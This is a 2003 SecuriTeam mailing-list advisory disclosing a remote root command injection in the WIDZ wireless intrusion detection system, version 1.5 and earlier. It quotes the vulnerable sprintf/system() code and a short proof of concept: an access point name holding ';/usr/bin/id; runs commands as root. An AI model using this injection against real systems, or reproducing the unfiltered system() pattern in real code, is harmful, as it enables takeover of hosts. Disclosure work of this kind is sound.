[UNIX] Wireless Intrusion Detection Remote Root Compromise

From: SecuriTeam (support_at_securiteam.com)
Date: 08/24/03

  • Next message: SecuriTeam: "[UNIX] DCForum+ XSS Vulnerability"
    To: list@securiteam.com
    Date: 24 Aug 2003 17:12:22 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Wireless Intrusion Detection Remote Root Compromise
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.loud-fat-bloke.co.uk/w80211.html> WIDZ "the first Open Source
    wireless IDS that has the ability to detects rogue Access Points,
    Monkey-jacks, NULL probes, Floods, MAC Backlist nodes, and ESSID
    blacklisted nodes, allowing you to catch bad guys in action". Due to
    inappropriate filtering of code, it is possible to cause the program to
    execute arbitrary commands.

    DETAILS

    Vulnerable systems:
     * WIDZ version 1.5 and prior

    Vulnerable code:
    do_alert(char *target)
      {
      char mess[100];
      if ( DEBUG )
        printf("Alert unknown AP %s\n", target);
      sprintf(mess,"Alert 'unknown AP %s\n'", target);
      system(mess);
      // Should do a check to see if we've alerted already but !!!
      }

    As you can see the function system(mess) is executed without proper
    filtering, therefore it is possible to cause it to execute arbitrary code.

    Go to apple airport and set network name to ';/usr/bin/id; (Use HostAP
    instead)

    snifz0r widz # ./widz_apmon 1 eth1 monitor
    unknown AP essid=
    uid=0(root) gid=0(root)
    groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
    sh: -c: line 3: unexpected EOF while looking for matching `''
    sh: -c: line 4: syntax error: unexpected end of file

    At this point, the attacker can pretty much do what they wish. As a side
    note this is not the only WIDZ program to make use of system() in this
    manor.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dotslash@snosoft.com> KF.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] DCForum+ XSS Vulnerability"

    Relevant Pages

    • [EXPL] phpBB Remote PHP Code Execution (viewtopic.php 2)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The following exploit code utilizes a vulnerability in phpBB to cause ... This bulletin is sent to members of the SecuriTeam mailing list. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] TinyWeb Server DoS Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] 3Com FTP Server Buffer Overflow (CD)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... overflow in its parsing of the 'CD' command. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [TOOL] Automagic SQL Injector
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Automagic SQL Injector is part of the Sec-1 Exploit Arsenal provided ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [REVS] Exploring Windows CE Shellcode
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Windows CE/ARM and goes on to develop an exploit. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)